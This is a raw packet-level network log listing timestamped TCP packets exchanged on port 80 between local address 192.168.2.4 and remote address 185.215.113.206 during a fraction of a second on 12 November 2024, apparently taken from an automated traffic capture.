Nov 12, 2024 21:21:37.392416000 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392426968 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392436028 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.392436981 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392446995 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.392452002 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392462969 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392473936 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392477036 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.392484903 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392496109 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.392497063 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392508984 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392514944 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.392520905 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392529964 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.392534018 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392548084 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392559052 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392560959 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.392570972 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392582893 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392591953 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.392591953 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.392591953 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.392596960 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392611027 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392621994 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392632008 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392637014 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.392647982 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.392651081 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392664909 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392666101 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.392678976 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392683983 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.392692089 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392704010 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392715931 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392718077 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.392728090 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392735004 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.392738104 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392750025 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392761946 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392767906 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.392776966 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.392779112 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392791986 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392803907 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392806053 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.392815113 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392817020 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.392827034 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392838001 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392843008 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.392848015 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392858982 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392867088 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.392873049 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392885923 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392898083 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392899036 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.392899990 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.392910957 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392921925 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392925024 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.392934084 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392945051 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392954111 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392955065 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.392965078 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392976999 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392987013 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.392987013 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.392987013 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.392999887 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393009901 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393023968 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393028021 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393040895 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393048048 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393052101 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393064976 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393074989 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393076897 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393090010 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393090963 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393101931 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393112898 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393117905 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393126011 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393137932 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393146038 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393146038 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393151045 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393166065 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393177032 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393177032 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393189907 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393202066 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393203020 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393213034 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393218994 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393232107 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393241882 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393244028 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393254995 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393265009 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393270016 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393277884 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393289089 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393301010 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393310070 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393311024 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393311024 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393323898 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393336058 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393337965 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393349886 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393361092 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393363953 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393373013 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393378019 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393383980 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393394947 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393399954 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393414021 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393425941 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393425941 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393433094 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393438101 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393444061 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393451929 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393461943 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393465042 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393476963 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393481970 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393491983 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393501043 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393505096 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393527031 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393528938 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393543959 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393549919 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393558025 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393569946 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393579960 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393579960 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393589973 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393593073 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393605947 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393615961 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393623114 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393626928 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393631935 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393639088 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393651009 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393663883 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393670082 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393680096 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393683910 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393701077 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393702030 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393714905 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393716097 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393728018 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393738985 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393740892 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393749952 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393752098 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393764019 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393773079 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393776894 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393791914 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393826962 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393826962 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393836021 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393842936 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393855095 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393866062 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393877983 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393887997 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393889904 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393899918 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393903017 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393918037 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393928051 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393929005 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393942118 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393950939 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393954039 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393968105 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393973112 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.393980980 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393992901 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.393997908 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.394005060 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.394016981 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.394026041 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.394035101 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.394042015 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.394046068 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.394057989 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.394069910 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.394074917 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.394074917 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.394083977 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.394093990 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.394103050 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.394110918 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.394115925 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.394128084 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.394133091 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.394140005 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.394150972 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.394154072 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.394165993 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.394174099 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.394192934 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.394217014 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.395267010 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.396500111 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.533145905 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533178091 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533196926 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533215046 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533230066 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533241987 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533253908 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533269882 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533281088 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533283949 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.533293009 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533305883 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533320904 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533343077 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533349037 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.533359051 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533374071 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533377886 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.533377886 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.533394098 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533404112 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533406019 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.533411980 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533448935 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533473969 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.533483028 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533499002 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533509970 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.533513069 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533523083 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533536911 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533540964 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.533560991 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.533580065 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533586979 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.533595085 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533610106 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533616066 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.533624887 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533633947 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.533639908 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533657074 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.533667088 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.533667088 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533684015 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533691883 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.533704042 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.533719063 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.533848047 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533894062 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.533938885 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533951998 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533967018 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533979893 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.533981085 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.533988953 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.533996105 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534009933 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.534013987 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534024954 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.534075975 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.534075975 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.534082890 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534096956 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534111023 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534136057 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.534136057 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.534147024 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534154892 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.534162045 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534176111 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534188986 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.534190893 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534204006 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534213066 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.534219027 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534234047 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534241915 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.534255981 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.534281969 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.534286022 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534301043 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534313917 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534324884 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.534329891 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534344912 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.534352064 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534362078 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.534367085 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534380913 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534388065 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.534394979 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534404993 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.534410000 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534424067 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534425020 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.534437895 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534450054 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.534451008 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534466982 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534475088 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.534492970 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534497976 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.534514904 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534528971 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534531116 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.534539938 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534562111 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534575939 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534576893 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.534589052 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534590006 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.534604073 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534617901 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534620047 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:37.534637928 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:37.534641981 CET	49759	80	192.168.2.4	185.215.113.206
